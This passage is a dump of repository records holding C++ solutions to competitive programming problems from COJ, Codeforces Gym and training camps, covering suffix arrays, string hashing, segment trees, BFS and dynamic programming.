0.33528265357017517, "avg_line_length": 18.93877601623535, "blob_id": "804b52b11a2a03e816b4453c1b50dee38327a15c", "content_id": "2362be0e930413be6534c80c9bf6bc43c492f247", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1026, "license_type": "no_license", "max_line_length": 64, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3249-Accepted-s796151.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 405;\r\n\r\nint n;\r\nint a[N][N];\r\nint d1[N][N], d2[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tcin >> a[i][j];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\td1[i][j] = a[i][j] + d1[i - 1][j - 1];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = n; j >= 1; j--) {\r\n\t\t\td2[i][j] = a[i][j] + d2[i - 1][j + 1];\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tint x1, x2, y1, y2;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tfor (int l = 1; i + l - 1 <= n && j + l - 1 <= n; l++) {\r\n\t\t\t\tx1 = i + l - 1;\r\n\t\t\t\ty1 = j + l - 1;\r\n\t\t\t\tx2 = i + l - 1;\r\n\t\t\t\ty2 = j;\r\n\t\t\t\tint a = d1[x1][y1] - d1[i - 1][j - 1];\r\n\t\t\t\tint b = d2[x2][y2] - d2[i - 1][j + l - 1 + 1];\r\n\t\t\t\tif (a - b > ans) {\r\n //cout << i << \" \" << j << \" \" << l << \"\\n\";\r\n\t\t\t\t\tans = a - b;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.44876885414123535, "alphanum_fraction": 0.4654487669467926, "avg_line_length": 18.983333587646484, "blob_id": "be94164ee133ad4d984019d181e5152ecc2c00a0", "content_id": "056aa444b6967fa80f8dc3dbea98e8782a3a89c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1259, "license_type": "no_license", "max_line_length": 76, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p3647-Accepted-s957658.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct entry {\r\n\tint index;\r\n\tint first;\r\n\tint second;\r\n};\r\n\r\nbool operator < (const entry &a, const entry &b) {\r\n\tif (a.first != b.first) {\r\n\t\treturn a.first < b.first;\r\n\t}\r\n\tif (a.second != b.second) {\r\n\t\treturn a.second < b.second;\r\n\t}\r\n\treturn a.index < b.index;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tstring s;\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tvector <entry> sa(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tsa[i].index = i;\r\n\t\tsa[i].first = s[i];\r\n\t\tsa[i].second = -1;\r\n\t}\r\n\tsort(sa.begin(), sa.end());\r\n\tvector <int> c(n);\r\n\tc[sa[0].index] = 0;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tc[sa[i].index] = c[sa[i - 1].index];\r\n\t\tif (sa[i].first != sa[i - 1].first) {\r\n\t\t\tc[sa[i].index]++;\r\n\t\t}\r\n\t}\r\n\tfor (int len = 2; len <= 2 * n; len *= 2) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tsa[i].index = i;\r\n\t\t\tsa[i].first = c[i];\r\n\t\t\tsa[i].second = c[(i + len / 2) % n];\r\n\t\t}\r\n\t\tsort(sa.begin(), sa.end());\r\n\t\tc[sa[0].index] = 0;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tc[sa[i].index] = c[sa[i - 1].index];\r\n\t\t\tif (sa[i].first != sa[i - 1].first || sa[i].second != sa[i - 1].second) {\r\n\t\t\t\tc[sa[i].index]++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << sa[i].index + 1 << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32749998569488525, "alphanum_fraction": 0.36500000953674316, "avg_line_length": 18.512821197509766, "blob_id": "c31c608f417847251c3e31d5946bf697a35f7b66", "content_id": "b554e62ef5cf14475cd7b6077e3e267aae548a94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 800, "license_type": "no_license", "max_line_length": 42, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p1055-Accepted-s510729.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll c[32][32],sum[32][32],p;\r\nint n,l;\r\n\r\nint main()\r\n{\r\n for(int i=0; i<=31; i++)\r\n c[i][0]=c[i][i]=sum[i][0]=1;\r\n\r\n for(int i=2; i<=31; i++)\r\n for(int j=1; j<i; j++)\r\n c[i][j]=c[i-1][j-1]+c[i-1][j];\r\n\r\n for(int i=1; i<=31; i++)\r\n for(int j=1; j<=i; j++)\r\n sum[i][j]=sum[i][j-1]+c[i][j];\r\n\r\n while(scanf(\"%d%d%lld\",&n,&l,&p)!=EOF)\r\n {\r\n for(int i=1; i<=n; i++)\r\n {\r\n if(p>sum[n-i][min(l,n-i)])\r\n {\r\n printf(\"1\");\r\n p-=sum[n-i][min(l,n-i)];\r\n l--;\r\n }\r\n else printf(\"0\");\r\n }\r\n printf(\"\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.290271133184433, "alphanum_fraction": 0.46570971608161926, "avg_line_length": 18.899999618530273, "blob_id": "e42f3e964244e6fdebd6efeaa37513cac808c705", "content_id": "6825b9e1f73f8c6b6929ba970af58e827897fc4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 627, "license_type": "no_license", "max_line_length": 56, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p2510-Accepted-s484012.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint D1,D2,D3;\r\ndouble r12,r13,r23,a,b,c,A,r1,r2,r3;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d%d%d\",&D1,&D2,&D3)!=EOF)\r\n {\r\n r1=(double)D1/2;\r\n r2=(double)D2/2;\r\n r3=(double)D3/2;\r\n\r\n A=sqrt((r1+r2+r3)*r1*r2*r3);\r\n\r\n r12=r1+r2;\r\n r13=r1+r3;\r\n r23=r2+r3;\r\n\r\n a=acos((r12*r12+r13*r13-r23*r23)/(2.0*r12*r13));\r\n b=acos((r12*r12+r23*r23-r13*r13)/(2.0*r12*r23));\r\n c=acos((r13*r13+r23*r23-r12*r12)/(2.0*r13*r23));\r\n\r\n A = A - a*r1*r1/2.0 - b*r2*r2/2.0 - c*r3*r3/2.0;\r\n\r\n printf(\"%.8f\\n\",A);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4615384638309479, "alphanum_fraction": 0.49408283829689026, "avg_line_length": 16.789474487304688, "blob_id": "e2d41e460a9deec71988427537f55e78bb9894ed", "content_id": "bb1cc090a22845aad8c50c8c76318f36a1496749", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1352, "license_type": "no_license", "max_line_length": 58, "num_lines": 76, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef vector <int> big;\n\nbig operator + (const big &a, const big &b) {\n\tbig res;\n\tres.resize(max(a.size(), b.size()));\n\tint carry = 0;\n\tfor (int i = 0; i < res.size(); i++) {\n\t\tif (i < a.size()) carry += a[i];\n\t\tif (i < b.size()) carry += b[i];\n\t\tres[i] = carry % 10;\n\t\tcarry /= 10;\n\t}\n\tif (carry) res.push_back(carry);\n\treturn res;\n}\n\n\nbig get(string &s) {\n\tbig res;\n\tfor (int i = s.size() - 1; i >= 0; i--) {\n\t\tres.push_back(s[i] - '0');\n\t}\n\treturn res;\n}\n\nbool menor(const big &a, const big &b) {\n\tif (a.size() != b.size()) return a.size() < b.size();\n\tfor (int i = a.size() - 1; i >= 0; i--) {\n if (a[i] != b[i]) return a[i] < b[i];\n\t}\n\treturn false;\n}\n\nvoid print(const big &x) {\n\tfor (int i = x.size() - 1; i >= 0; i--) {\n\t\tcout << x[i];\n\t};\n}\n\nint n;\nbig a[1005];\nstring s;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> s;\n\t\ta[i] = get(s);\n\t}\n\tsort(a, a + n, menor);\n\n\tfor (int i = 0; i + 2 < n; i++) {\n\t\tbig sum = a[i] + a[i + 1];\n\t\tif (menor(a[i + 2], sum)) {\n\t\t\tprint(a[i]);\n\t\t\tcout << \" \";\n\t\t\tprint(a[i + 1]);\n\t\t\tcout << \" \";\n\t\t\tprint(a[i + 2]);\n\t\t\tcout << \"\\n\";\n\t\t\treturn 0;\n\t\t}\n\t}\n\tcout << \"0 0 0\\n\";\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.38524115085601807, "alphanum_fraction": 0.4259151518344879, "avg_line_length": 17.122222900390625, "blob_id": "36966136e2e0221a1e73e3dbb5bb8c35efd960d5", "content_id": "469950b0c1e1b1db7050f22636a5b56ed84fff0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1721, "license_type": "no_license", "max_line_length": 86, "num_lines": 90, "path": "/Caribbean-Training-Camp-2017/Contest_7/Solutions/F7.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint calcNextMask(int mask, int d) {\r\n if (mask == 0 && d == 0) {\r\n return 0;\r\n }\r\n\tint res = 0;\r\n\tfor (int i = 0; i < 11; i++) {\r\n\t\tif (mask & (1 << i)) {\r\n\t\t\tint v = (10 * i + d) % 11;\r\n\t\t\tres |= (1 << v);\r\n\t\t}\r\n\t}\r\n\tres |= (1 << d);\r\n\treturn res;\r\n}\r\n\r\nint nextMask[(1 << 11) + 5][15];\r\n\r\nlong long dp[25][(1 << 11) + 5][3];\r\n\r\nlong long getDP(int len, int mask, bool ok) {\r\n\tif (len == 0) {\r\n\t\treturn ok ? 1 : 0;\r\n\t}\r\n\tif (dp[len][mask][ok] != -1) {\r\n\t\treturn dp[len][mask][ok];\r\n\t}\r\n\tlong long res = 0;\r\n\tfor (int d = 0; d < 10; d++) {\r\n\t\tres += getDP(len - 1, nextMask[mask][d], ok || (nextMask[mask][d] & 1));\r\n\t}\r\n\tdp[len][mask][ok] = res;\r\n\treturn res;\r\n}\r\n\r\nlong long calc(long long x) {\r\n\tif (x == 0) {\r\n\t\treturn 0;\r\n\t}\r\n\tvector <int> v;\r\n\twhile (x > 0) {\r\n\t\tv.push_back(x % 10LL);\r\n\t\tx /= 10LL;\r\n\t}\r\n\treverse(v.begin(), v.end());\r\n\r\n\tlong long res = 0;\r\n\tint mask = 0;\r\n\tbool ok = false;\r\n\tfor (int i = 0; i < v.size(); i++) {\r\n\t\tfor (int d = 0; d < v[i]; d++) {\r\n\t\t\tres += getDP(v.size() - (i + 1), nextMask[mask][d], ok || (nextMask[mask][d] & 1));\r\n\t\t}\r\n\t\tmask = nextMask[mask][v[i]];\r\n\t\tok = (ok || (mask & 1));\r\n\t}\r\n\tif (ok) {\r\n\t\tres++;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n\tfor (int m = 0; m < (1 << 11); m++) {\r\n for (int d = 0; d < 10; d++) {\r\n nextMask[m][d] = calcNextMask(m, d);\r\n }\r\n\t}\r\n\r\n\tfor (int l = 0; l < 20; l++) {\r\n\t\tfor (int m = 0; m < (1 << 11); m++) {\r\n\t\t\tfor (int o = 0; o < 2; o++) {\r\n\t\t\t\tdp[l][m][o] = -1;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint t;\r\n\tlong long a, b;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\tcout << calc(b) - calc(a - 1) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33798301219940186, "alphanum_fraction": 0.3881673812866211, "avg_line_length": 21.930147171020508, "blob_id": "bdc819251879725d2fa2fdcd705cae60ab8b1343", "content_id": "4d0ccec0f097aa6d1cdcce35c0961d9e5166e4fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6237, "license_type": "no_license", "max_line_length": 91, "num_lines": 272, "path": "/Codeforces-Gym/100603 - 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest\n// 100603J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int B1 = 37;\nconst int M1 = (1 << 27) + ( 1 << 25 ) + 1;\n\nconst int B2 = 43;\nconst int M2 = 1000000007;\n\nconst ll DD = 10000000000ll;\n\nint add( int a, int b, int mod ){\n a += b;\n if( a >= mod ){\n a -= mod;\n }\n return a;\n}\n\nint rest( int a, int b, int mod ){\n a -= b;\n if( a < 0 ){\n a += mod;\n }\n\n return a;\n}\n\nint mult( int a, int b, int mod ){\n return ( (ll)a * (ll)b ) % mod;\n}\n\n\nint n,l, m;\n\nconst int MAXN = 1010;\nconst int MAXL = 105;\n\nstring s[MAXN];\nint PW1[MAXN];\nint PW2[MAXN];\n\nint h1[MAXN];\nint h2[MAXN];\n\nll h[MAXN];\n\ntypedef pair<int,int> par;\nvector<par> trains[MAXN];\n\nstruct data{\n vector<int> t;\n vector<int> change;\n vector<int> v;\n vector<int> st;\n\n int n;\n\n data(){}\n\n void init(){\n n = 0;\n for( int i = 1; i < t.size(); i++ ){\n if( t[n] == t[i] ){\n change[n] += change[i];\n }\n else{\n n++;\n t[n] = t[i];\n change[n] = change[i];\n }\n }\n n++;\n\n v.assign( n , 0 );\n st.assign( n*4 + 2 , 0 );\n\n for( int i = 0; i < n; i++ ){\n if( i > 0 ){\n v[i] = v[i-1];\n }\n v[i] += change[i];\n }\n\n build_st( 1 , 0 , n-1 );\n }\n\n void build_st( int nod, int l, int r ){\n if( l == r ){\n st[nod] = v[l];\n return;\n }\n\n int ls = nod*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid+1 , r );\n\n st[nod] = max( st[ls] , st[rs] );\n }\n\n int query_st( int nod, int l, int r, int lq, int rq ){\n if( r < lq || rq < l ){\n return 0;\n }\n\n if( lq <= l && r <= rq ){\n return st[nod];\n }\n\n int ls = nod*2 , rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n return max( query_st( ls , l , mid , lq , rq ) ,\n query_st( rs , mid+1 , r , lq , rq ) );\n }\n\n int query( int tl, int tr ){\n int l = lower_bound( t.begin() , t.begin() + n , tl ) - t.begin();\n int r = upper_bound( t.begin() , t.begin() + n , tr ) - t.begin();\n r--;\n\n if( r < l ){\n return 0;\n }\n\n return query_st( 1 , 0 , n-1 , l , r );\n }\n};\n\ndata x[500000];\n\nint sz;\nmap<ll,int> dic;\n\ninline int get_id( ll h ){\n if( dic.find(h) == dic.end() ){\n dic[h] = ++sz;\n }\n\n return dic[h];\n}\n\ninline void insert_in_x( int id, int t, int change ){\n x[id].t.push_back( t );\n x[id].change.push_back( change );\n}\n\ninline void insert_in_trains( int p, int id, int t ){\n trains[p].push_back( par( id , t ) );\n}\n\nint sol[MAXN];\n\nint sz2;\nmap<string,int> dic2;\nint get_id2( string h ){\n if( dic2.find(h) == dic2.end() ){\n dic2[h] = ++sz2;\n }\n\n return dic2[h];\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> l >> m;\n\n PW1[0] = 1;\n PW2[0] = 1;\n for( int i = 1; i <= l; i++ ){\n PW1[i] = mult( PW1[i-1] , B1 , M1 );\n PW2[i] = mult( PW2[i-1] , B2 , M2 );\n }\n\n for( int i = 1; i <= n; i++ ){\n cin >> s[i];\n for( int j = 0; j < s[i].size(); j++ ){\n h1[i] = add( mult( h1[i] , B1, M1 ) , s[i][j] - 'a' , M1 );\n h2[i] = add( mult( h2[i] , B2, M2 ) , s[i][j] - 'a' , M2 );\n }\n\n h[i] = (ll)h1[i] * DD + (ll)h2[i];\n\n int id = get_id( h[i] );\n\n //cerr << id << \" \" << get_id2( s[i] ) << '\\n';\n\n insert_in_trains( i , id , 0 );\n insert_in_x( id , 0 , 1 );\n }\n\n for( int time = 1; time <= m; time++ ){\n int p1,w1,p2,w2; cin >> p1 >> w1 >> p2 >> w2;\n //cerr << p1 << \" \" << w1 << ' ' << p2 << ' ' << w2 << '\\n';\n\n if( s[p1][w1-1] == s[p2][w2-1] ){\n continue;\n }\n\n //cerr << p1 << \"--\" << p2 << \" \" << s[p1] << \" \" << s[p2] << \" -----> \";\n\n //cerr << get_id( h[p1] ) << \" \" << get_id2( s[p1] ) << '\\n';\n //cerr << get_id( h[p2] ) << \" \" << get_id2( s[p2] ) << '\\n';\n\n if( p1 == p2 ){\n insert_in_x( get_id( h[p1] ) , time , -1 );\n }\n else{\n insert_in_x( get_id( h[p1] ) , time , -1 );\n insert_in_x( get_id( h[p2] ) , time , -1 );\n }\n\n h1[p1] = rest( h1[p1] , mult( s[p1][w1-1] , PW1[ s[p1].size() - w1 ] , M1 ) , M1 );\n h2[p1] = rest( h2[p1] , mult( s[p1][w1-1] , PW2[ s[p1].size() - w1 ] , M2 ) , M2 );\n\n h1[p2] = rest( h1[p2] , mult( s[p2][w2-1] , PW1[ s[p2].size() - w2 ] , M1 ) , M1 );\n h2[p2] = rest( h2[p2] , mult( s[p2][w2-1] , PW2[ s[p2].size() - w2 ] , M2 ) , M2 );\n\n swap( s[p1][w1-1] , s[p2][w2-1] );\n\n h1[p1] = add( h1[p1] , mult( s[p1][w1-1] , PW1[ s[p1].size() - w1 ] , M1 ) , M1 );\n h2[p1] = add( h2[p1] , mult( s[p1][w1-1] , PW2[ s[p1].size() - w1 ] , M2 ) , M2 );\n h[p1] = (ll)h1[p1] * DD + (ll)h2[p1];\n\n h1[p2] = add( h1[p2] , mult( s[p2][w2-1] , PW1[ s[p2].size() - w2 ] , M1 ) , M1 );\n h2[p2] = add( h2[p2] , mult( s[p2][w2-1] , PW2[ s[p2].size() - w2 ] , M2 ) , M2 );\n h[p2] = (ll)h1[p2] * DD + (ll)h2[p2];\n\n insert_in_trains( p1 , get_id( h[p1] ) , time );\n\n if( p1 != p2 ){\n insert_in_trains( p2 , get_id( h[p2] ) , time );\n }\n //cerr << get_id( h[p1] ) << \" \" << get_id2( s[p1] ) << '\\n';\n //cerr << get_id( h[p2] ) << \" \" << get_id2( s[p2] ) << '\\n';\n\n insert_in_x( get_id( h[p1] ) , time , 1 );\n\n if( p1 != p2 ){\n insert_in_x( get_id( h[p2] ) , time , 1 );\n }\n }\n\n for( int i = 1; i <= sz; i++ ){\n x[i].init();\n }\n\n for( int i = 1; i <= n; i++ ){\n insert_in_trains( i , 0 , m+5 );\n for( int j = 0; j+1 < trains[i].size(); j++ ){\n int id = trains[i][j].first;\n int tl = trains[i][j].second;\n int tr = trains[i][j+1].second - 1;\n\n sol[i] = max( sol[i] , x[id].query( tl , tr ) );\n }\n\n cout << sol[i] << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.39890211820602417, "alphanum_fraction": 0.4336687922477722, "avg_line_length": 18.872726440429688, "blob_id": "3acf7a83c569a9bb9b5a4012bbd63c37d046a137", "content_id": "fc7874c6ed4152b846f4522031ada0b66f5536e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1093, "license_type": "no_license", "max_line_length": 77, "num_lines": 55, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nvector <int> prefixFunction(const string &s) {\n\tint n = s.size();\n\tvector <int> pi(n);\n\tfor (int i = 1, j = 0; i < n; i++) {\n\t\twhile (j > 0 && s[i] != s[j]) {\n\t\t\tj = pi[j - 1];\n\t\t}\n\t\tif (s[i] == s[j]) {\n\t\t\tj++;\n\t\t}\n\t\tpi[i] = j;\n\t}\n\treturn pi;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tstring s;\n\tcin >> s;\n\tint n = s.size();\n\tint ans = n;\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = i + 1; j < n; j++) {\n\t\t\tint l = j - i + 1;\n\t\t\tstring ss = s.substr(i, l);\n\t\t\tvector <int> pi = prefixFunction(ss);\n\t\t\tvector <int> dp(n + 1);\n\t\t\tdp[0] = l;\n\t\t\tfor (int k = 0, p = 0; k < n; k++) {\n\t\t\t\tdp[k + 1] = dp[k] + 1;\n\t\t\t\twhile (p > 0 && s[k] != ss[p]) {\n\t\t\t\t\tp = pi[p - 1];\n\t\t\t\t}\n\t\t\t\tif (s[k] == ss[p]) {\n\t\t\t\t\tp++;\n\t\t\t\t}\n\t\t\t\tif (p >= l) {\n\t\t\t\t\tdp[k + 1] = min(dp[k + 1], dp[k + 1 - l] + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//cerr << i << \" \" << j << \" \" << dp[n] << \"\\n\";\n\t\t\tans = min(ans, dp[n]);\n\t\t}\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.32952380180358887, "alphanum_fraction": 0.4704761803150177, "avg_line_length": 19.875, "blob_id": "d2401703ed9e0fa422cc9a9d758ad4c628e300d0", "content_id": "16b0a81863abdbddd464f8fc253a90480dc24dde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 525, "license_type": "no_license", "max_line_length": 67, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1126-Accepted-s484145.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nconst double PI = 3.141592653589793;\r\ndouble x1,x2,x3,i1,i2,i3,xv1,a,r,l1,l2,l3,p;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf%lf%lf%lf%lf%lf\",&x1,&i1,&x2,&i2,&x3,&i3)!=EOF)\r\n {\r\n\r\n l1=sqrt((x1-x2)*(x1-x2)+(i1-i2)*(i1-i2));\r\n l2=sqrt((x1-x3)*(x1-x3)+(i1-i3)*(i1-i3));\r\n l3=sqrt((x2-x3)*(x2-x3)+(i2-i3)*(i2-i3));\r\n\r\n p=(l1+l2+l3)/2;\r\n a=sqrt(p*(p-l1)*(p-l2)*(p-l3));\r\n\r\n r=l1*l2*l3/(4.0*a);\r\n\r\n printf(\"%.2f\\n\",2*PI*r);\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.3445447087287903, "alphanum_fraction": 0.36997538805007935, "avg_line_length": 17.19403076171875, "blob_id": "877d05a5bf573d5a1a09ad44733362732e6e1e71", "content_id": "ea8a97e9039f94c879478919b2e7efdadb3e0e6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1219, "license_type": "no_license", "max_line_length": 52, "num_lines": 67, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 10010;\nconst int oo = ( 1 << 30 );\n\nint h[MAXN];\nint cola[MAXN];\n\nvector<int> g[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, H, L; cin >> n >> H >> L;\n\n for( int i = 0; i < n; i++ ){\n h[i] = oo;\n }\n\n int enq = 0, deq = 0;\n\n for( int i = 0; i < H; i++ ){\n int x; cin >> x;\n h[x] = 0;\n cola[enq++] = x;\n }\n\n for( int i = 0; i < L; i++ ){\n int u, v; cin >> u >> v;\n g[u].push_back( v );\n g[v].push_back( u );\n }\n\n while( enq > deq ){\n int sz = enq - deq;\n for( int i = 0; i < sz; i++ ){\n int u = cola[deq++];\n for( int j = 0; j < g[u].size(); j++ ){\n int v = g[u][j];\n if( h[v] == oo ){\n h[v] = h[u] + 1;\n cola[enq++] = v;\n }\n }\n }\n }\n\n int sol = 0;\n\n for( int i = 0; i < n; i++ ){\n if( h[sol] < h[i] ){\n sol = i;\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.3358895778656006, "alphanum_fraction": 0.3987730145454407, "avg_line_length": 19.733333587646484, "blob_id": "a7dd9ee544c5d252e6e1d3a2f7cb216ba2265c0e", "content_id": "1e7595addeb85b0f2f4dcd14a0a31a0fd8a50a4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 652, "license_type": "no_license", "max_line_length": 72, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p2632-Accepted-s529043.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#define sqr(x) ((x)*(x))\r\nusing namespace std;\r\n\r\nint a[110][110],\r\n dp[110][110],\r\n dp2[110][110],\r\n n,mx,mx2;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n\r\n for(int i=1; i<=n; i++)\r\n for(int j=1; j<=i; j++)\r\n {\r\n scanf(\"%d\",&a[i][j]);\r\n dp[i][j]=a[i][j]+max(dp[i-1][j-1],dp[i-1][j]);\r\n dp2[i][j]=sqr(a[i][j])+max(dp2[i-1][j-1],dp2[i-1][j]);\r\n }\r\n\r\n for(int i=1; i<=n; i++)\r\n if(mx<dp[n][i])\r\n mx=dp[n][i],\r\n mx2=dp2[n][i];\r\n\r\n printf(\"%d %d\\n%c%c\\n\",mx2,mx,char((mx2)%26)+'a',char((mx)%26)+'a');\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4184744656085968, "alphanum_fraction": 0.4443666934967041, "avg_line_length": 22.220338821411133, "blob_id": "23e57b8233f196ed373cec4bfbb00c3448bab513", "content_id": "8875686a5384d85de6472a30ccbe8077fa10b54b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1429, "license_type": "no_license", "max_line_length": 72, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p1868-Accepted-s631136.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\nusing namespace std;\r\n\r\ntypedef pair<int, int> pii;\r\n\r\nconst int MAXN = 18;\r\n\r\nint tc, n, m, dp[1 << MAXN][MAXN];\r\nvector<pii> pts;\r\npii pi;\r\nstring str;\r\n\r\nint dist(pii &a, pii &b) {\r\n\tint d1 = abs(a.first - b.first);\r\n\tint d2 = abs(a.second - b.second);\r\n\treturn min(d1, d2) + abs(d1 - d2);\r\n}\r\n\r\nvoid mini(int a, int &b) {\r\n\tif (a < b) b = a;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\tfor (int c = 1; c <= tc; c++) {\r\n\t\tcin >> n >> m;\r\n\t\tpts.clear();\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> str;\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tif (str[j] == 'x') pi = make_pair(i, j);\r\n\t\t\t\tif (str[j] == 'g') pts.push_back(make_pair(i, j));\r\n\t\t\t}\r\n\t\t}\r\n\t\tint s = pts.size();\r\n\t\tfor (int mask = 0; mask < (1 << s); mask++)\r\n\t\t\tfor (int i = 0; i < s; i++)\r\n\t\t\t\tdp[mask][i] = 1 << 29;\r\n\t\tfor (int i = 0; i < s; i++)\r\n\t\t\tdp[1 << i][i] = dist(pts[i], 